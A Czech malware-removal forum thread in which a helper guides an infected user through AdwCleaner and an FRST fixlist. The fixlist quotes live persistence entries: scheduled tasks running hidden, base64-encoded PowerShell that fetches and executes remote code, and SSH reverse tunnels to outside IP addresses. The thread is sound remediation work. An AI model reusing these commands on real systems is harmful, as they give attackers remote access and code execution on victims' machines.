Trojan HackTool Win32

[Mion]

Dobrý den, poprosím o pomoc s trojany, dnes pořád vyskakuje Windows Defender s tím že našel hrozbu v podobě Trojských koní, těch záznamů je tam desítky, log posílám jako ZIP

Logy.zip

(21.72 KiB) Staženo 4 x

[Rudy]

Zdravím!
Spusťte nejprve tuto utilitu:

Ulozte na plochu AdwCleaner https://malwarebytes.com/adwcleaner/ nebo http://www.bleepingcomputer.com/download/adwcleaner/

ukoncete vsechny programy
odsouhlaste licencni podmiky (EULA) klikem na Souhlasim
kliknete pravym na ikonu AdwCleaneru a vyberte Spustit jako spravce (v pripade Win XP spustte obycejne dvojklikem)
kliknete na Skenovat nyni (Scan now), pote na Cisteni a opravy (Clean and Repair)
po restartu na Vas vyskoci log (pripadne jej najdete v C:\AdwCleaner\Logs\AdwCleaner[Cxx].txt), jehoz obsah zkopirujte do pristi odpovedi

[Mion]

Tady je log
# -------------------------------
# Malwarebytes AdwCleaner 8.8.1.639
# -------------------------------
# Build: 05-13-2026
# Database: 2026-04-29.3 (Local)
# Support: https://help.malwarebytes.com/
#
# -------------------------------
# Mode: Clean
# -------------------------------
# Start: 07-20-2026
# Duration: 00:00:00
# OS: Windows 11 (Build 22621.4317)
# Cleaned: 1
# Failed: 0


***** [ Services ] *****

No malicious services cleaned.

***** [ Folders ] *****

No malicious folders cleaned.

***** [ Files ] *****

No malicious files cleaned.

***** [ DLL ] *****

No malicious DLLs cleaned.

***** [ WMI ] *****

No malicious WMI cleaned.

***** [ Shortcuts ] *****

No malicious shortcuts cleaned.

***** [ Tasks ] *****

No malicious tasks cleaned.

***** [ Registry ] *****

Deleted HKLM\Software\Classes\CLSID\{8BF0126F-A5B7-4720-ABB2-2414A0AF5474}

***** [ Chromium (and derivatives) ] *****

No malicious Chromium entries cleaned.

***** [ Chromium URLs ] *****

No malicious Chromium URLs cleaned.

***** [ Firefox (and derivatives) ] *****

No malicious Firefox entries cleaned.

***** [ Firefox URLs ] *****

No malicious Firefox URLs cleaned.

***** [ Hosts File Entries ] *****

No malicious hosts file entries cleaned.

***** [ Preinstalled Software ] *****

No Preinstalled Software cleaned.


*************************

[+] Delete Tracing Keys
[+] Reset Winsock

*************************

AdwCleaner[S00].txt - [1478 octets] - [20/07/2026 21:41:18]

########## EOF - C:\AdwCleaner\Logs\AdwCleaner[C00].txt ##########

[Rudy]

OK, bněco to smazalo. Teď dejte nové logy FRST+Addition.

[Mion]

Tak jo, tady jsou

[Rudy]

Otevřte poznámkový blok a zkopírujte do něj:

Start

CloseProcesses:
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
HKLM\SYSTEM\...\Terminal Server: [fDenyTSConnections] = 0 <==== ATTENTION
HKU\S-1-5-21-2346025591-3721102785-1987179807-1001\...\MountPoints2: {0023e1e6-a062-11ef-8679-b8d7132c0fd0} - "I:\Setup.exe"
HKU\S-1-5-21-2346025591-3721102785-1987179807-1002\...\RunOnce: [Delete Cached Update Binary] => C:\Windows\system32\cmd.exe /q /c del /q "C:\Users\WindowsUpdate\AppData\Local\Microsoft\OneDrive\Update\OneDriveSetup.exe" [85447696 2025-03-06] (Microsoft Corporation -> Microsoft Corporation) <==== ATTENTION
HKU\S-1-5-21-2346025591-3721102785-1987179807-1002\...\RunOnce: [Delete Cached Standalone Update Binary] => C:\Windows\system32\cmd.exe /q /c del /q "C:\Users\WindowsUpdate\AppData\Local\Microsoft\OneDrive\StandaloneUpdater\OneDriveSetup.exe" (No File) <==== ATTENTION
Task: {1833F219-D205-4EFE-8FD9-37527D638DD2} - System32\Tasks\Apple Sync => C:\Windows\System32\OpenSSH\ssh.exe [1243648 2024-10-09] (Microsoft Windows -> ) -> -N -R 31999:localhost:1389 vNqEZgr25T4@104.243.43.16 -i "C:\Users\miros\.ssh\vNqEZgr25T4.31999" -F "C:\Users\miros\.ssh\config" <==== ATTENTION
Task: {D829AC16-2637-485E-9A7B-E5780032139C} - System32\Tasks\GDrive Backup Sync => C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [450560 2024-02-14] (Microsoft Windows -> Microsoft Corporation) -> -ep bypass -w hidden -nop -enc JABMAGkAbgBrAEkARQBYACAAPQAgACcAaAB0AHQAcABzADoALwAvAGsAYgBlAGEAdQB0AHkAcgBlAHYAaQBlAHcAcwAuAGMAbwBtACcAOwAKACQAQwA9AGkAdwByACAAJABMAGkAbgBrAEkARQBYACAALQBVAHMARQBCAGEAUwBJAGMAUABBAHIAcwBpAE4AZwAgAHwAaQBlAHgAOwA= <==== ATTENTION
Task: {EEB39A91-F9E1-463F-B312-C604854CE6DE} - System32\Tasks\GoogleUpdaterTask => C:\Users\miros\.ssh\ssh.exe [4189 2026-07-20] () [File not signed] -> -N -R 31999:localhost:109 QoKxV3iuB06@62.210.188.209 -i "C:\Users\miros\.ssh\QoKxV3iuB06.31999" -f "C:\Users\miros\.ssh\config" <==== ATTENTION
Task: {71046183-2D8D-4B08-80AF-3B333DD29BC3} - System32\Tasks\OneDrive Reporting => C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe [450560 2024-02-14] (Microsoft Windows -> Microsoft Corporation) -> -ep bypass -w hidden -nop -enc JABDAD0AaQB3AHIAIABoAHQAdABwAHMAOgAvAC8AcgBlAGMAYQB2AGIAMgAyAC4AbwBuAGwAaQBuAGUAIAAtAFUAcwBFAEIAYQBTAEkAYwBQAEEAcgBzAGkATgBnACAAfABpAGUAeAA= <==== ATTENTION
Task: {3CFB5663-BADE-4440-B513-CFCCA1DE6DDA} - System32\Tasks\OneDrive Sync => C:\Users\miros\.ssh\ssh.exe [4189 2026-07-20] () [File not signed] -> -N -R 31999:localhost:109 QoKxV3iuB06@209.222.101.116 -i "C:\Users\miros\.ssh\QoKxV3iuB06.31999" -f "C:\Users\miros\.ssh\config" <==== ATTENTION
S2 HDService; C:\ProgramData\HDService\HDService.exe [1266688 2024-05-20] () [File not signed] <==== ATTENTION
R3 TermService; C:\Windows\System32\termsrv.dll [1351680 2026-06-20] (Microsoft Corporation) [File not signed] <==== ATTENTION
S3 cpuz157; \??\C:\Windows\temp\cpuz157\cpuz157_x64.sys (No File) <==== ATTENTION
C:\DumpStack.log.tmp
AlternateDataStreams: C:\Users\miros\Documents\AHA - rodičovství - Sourozenci.pdf:com.dropbox.attrs [13]
FirewallRules: [{370E1583-8D19-4CF3-9F16-574EC5F11F59}] => (Allow) C:\Users\miros\AppData\Local\Temp\7zS06D4\HPEasyStart\HP.EasyStart.exe => No File
FirewallRules: [{58A1FD0E-27A7-48FC-A189-D27A06EC879A}] => (Allow) C:\Users\miros\AppData\Local\Temp\7zS75F9\HPEasyStart\HP.EasyStart.exe => No File
FirewallRules: [TCP Query User{FF5E331B-5E24-46D6-9C39-B8A9C3346E4E}C:\users\miros\appdata\roaming\utorrent web\utweb.exe] => (Block) C:\users\miros\appdata\roaming\utorrent web\utweb.exe => No File
FirewallRules: [UDP Query User{740F0415-4631-4A29-AE27-62F1D4A38380}C:\users\miros\appdata\roaming\utorrent web\utweb.exe] => (Block) C:\users\miros\appdata\roaming\utorrent web\utweb.exe => No Fil
FirewallRules: [{99FAF570-43B6-4793-A273-AAC2DB2D370E}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No File
FirewallRules: [{0E060A93-E82D-49EC-A3EA-D302EF490FDA}] => (Allow) C:\Program Files (x86)\Steam\bin\cef\cef.win7x64\steamwebhelper.exe => No File
FirewallRules: [{B54456FA-3D01-4349-BC8F-10900BA1A035}] => (Allow) C:\Program Files\Blackmagic Design\DaVinci Resolve\ElementsPanelDaemon.exe => No File

EmptyTemp:
End

Uložte do C:\Users\miros\Downloads jako fixlist.txt. Spusťte znovu FRST a klikněte na >Fix<. Po skončení akce se objeví log, který sem zkopírujte.